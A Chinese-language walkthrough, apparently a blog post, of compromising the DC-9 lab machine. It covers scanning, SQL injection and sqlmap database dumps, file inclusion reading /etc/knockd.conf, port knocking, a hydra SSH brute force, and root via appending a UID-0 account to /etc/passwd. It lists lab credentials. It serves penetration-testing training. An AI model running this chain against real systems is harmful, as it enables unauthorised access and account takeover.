DC-9 √
192.168.40.169
参考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596
1.nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535
照样还是22/ssh服务,80/http服务
2.dirsearch扫目录
dirsearch -u 192.168.40.169 -e * -x 403 --random-agent
3.wappalyzer
发现并没有用CMS
4.SQL注入
到处点击,寻找输入框:在Search
模块可找到
而且点击Submit后,发现页面有跳转的情况.抓包看情况:
万能密码验证SQL注入:
1' or 1=1#
sqlmap这里使用:
# sqlmap之POST型传参 : information_schema,Staff,users
# 根据上图的HTTP请求报文,得出:
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs
# 爆表
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables
# 列:firstname,id,lastname,password,reg_date,username
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns
# Staff数据库
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# users数据库
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
注意:
1.payload中的数据库名、表名、字段名都不要用引号包围
2.注意区分大小写
Staff库
即admin/transorbital1
users库
5.文件包含
登录后发现:
可能是文件包含漏洞,尝试:发现存在文件包含漏洞
其实应该像DC-5一样需要爆破参数名,这里就省去了,直接猜测参数名为file
尝试包含Apache的日志文件:/var/log/apache2/access.log
6.knockd敲门与关门
再结合前面nmap扫描时22端口的状态是filter,猜测可能是服务器装了knockd
关于
knockd
:
查看knocked的配置文件:knockd.conf
http://192.168.40.169/welcome.php?file=../../../../../etc/knockd.conf
解析:
即使用iptables命令来允许或禁止通过TCP端口22(即SSH端口)的连接
接下来就要打开22端口:
这里参考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596
#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
nmap -A 192.168.40.169 -p 22
敲门并查看22端口是否打开:
7.hydra爆破SSH账号密码
端口开启后就可以尝试SSH连接:
结合第4步的结果:
marym julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2
3kfs86sfd 468sfdfsd2 sfd87sfd1 RocksOff TC&TheBoyz B8m#48sd Pebbles BamBam01 UrAG0D! Passw0rd yN72#dsd ILoveRachel 3248dsds7s smellycats YR3BVxxxw87 Ilovepeepee Hawaii-Five-0
另:chatGPT写了一个转化脚本:https://wwwg.lanzouk.com/iaUz41485nwj
效果:
分别写入到users.txt和passwd.txt之中,
# 使用hydra爆破:
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh
三组数据:
chandlerb / UrAG0D!
joeyt / Passw0rd
janitor / Ilovepeepee
这里采用第一组数据
ssh [email protected]
但是没找到有用信息
尝试第二组数据:依旧没有有用信息
尝试第三组数据:
cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
在第4步爆出的账号中匹配到了三个,分别是
BamBam01
Passw0rd
smellycats
结合这个与hydra爆出的数据,选择joeyt
用户进行提权
find / -perm -u=s -type f 2>/dev/null
一眼望去,没有提权点
再看WP,得知要把passwords-found-on-post-it-notes.txt中的数据补充到passwd.txt中,然后再次hydra爆破:
爆出了一组新的账号密码
fredf / B4-Tru3-001
ssh [email protected]
sudo -l
NOPASSWD: /opt/devstuff/dist/test/test
cd /opt/devstuff/dist/test
发现了大量.so文件:
.so是Linux下的动态链接,类似于Windows下的.dll文件
查看其他目录:
在/opt/devstuff目录下发现了test.py和test.spec文件
.spec文件:
可以是指由被叫的rpmbuild程序中使用的文本文件。这个程序是用来建立RPM包。 RPM代表Red Hat软件包管理。这些软件包用于安装Linux程序。该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包。
#!/usr/bin/python
# 该文件根据给定的命令行参数读取一个文件,并将其内容附加到另一个文件的末尾
# 本文件中的第一个参数sys.argv[0]代表程序本身,第二个参数sys.argv[1]代表第一个文件,第三个参数sys.argv[2]代表另一个文件
import sys
if len (sys.argv) != 3 : # 保证命令行参数的数量为3
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # 以只读模式打开第二个命令行参数指定的文件
output = (f.read()) # 将内容读取到变量output中
f = open(sys.argv[2], "a") # 以追加模式打开第三个命令行参数指定的文件
f.write(output) # 进行追加
f.close()
大体思路就是写一个root权限账号出来,通过该脚本,追加到/etc/passwd之中
怎么写账号密码?
Linux是怎么生成密码的?
通过openshell生成密码,通过md5加密
perl -le 'print crypt("666","salt")' # 将字符串"666"使用盐"salt"进行加密
得到:sat087sUBmRKY
据此,构造出账户:
echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd
passwd的格式:
[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]
sudo ./test /tmp/passwd /etc/passwd
8.小结
# DC-9
# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535
# 目录扫描-dirsearch
dirsearch -u 192.168.40.169 -e * -x 403 --random-agent
# wappalyzer
没有明显的CMS
# POST型SQL注入
查询框+页面跳转->bp抓包
万能密码 1' or 1=1# 验证出SQL注入
# 数据库users
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
# 另一个数据库-Staff
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# 注意点: 1.名称不用引号包围 2.注意大小写
# 文件包含
File does not exit ->猜测参数为file,通过/etc/passwd验证出文件包含漏洞
# knockd-filter状态
/etc/knockd.conf
# 敲门
#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
# 查看
nmap -A 192.168.40.169 -p 22
# hydra爆破:实现数据库账号密码->SSH账号密码
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh
# 登录后查到隐藏的密码,增添后再次爆破->获得真正的能够提权的用户
sudo -l
# 结合可执行文件(用于追加数据)+/etc/passwd提权
perl -le 'print crypt("666","salt")'
echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd
sudo ./test /tmp/passwd /etc/passwd
标签:http,users,渗透,40.169,--,passwd,192.168,DC9,靶机
From: https://www.cnblogs.com/starme/p/18468472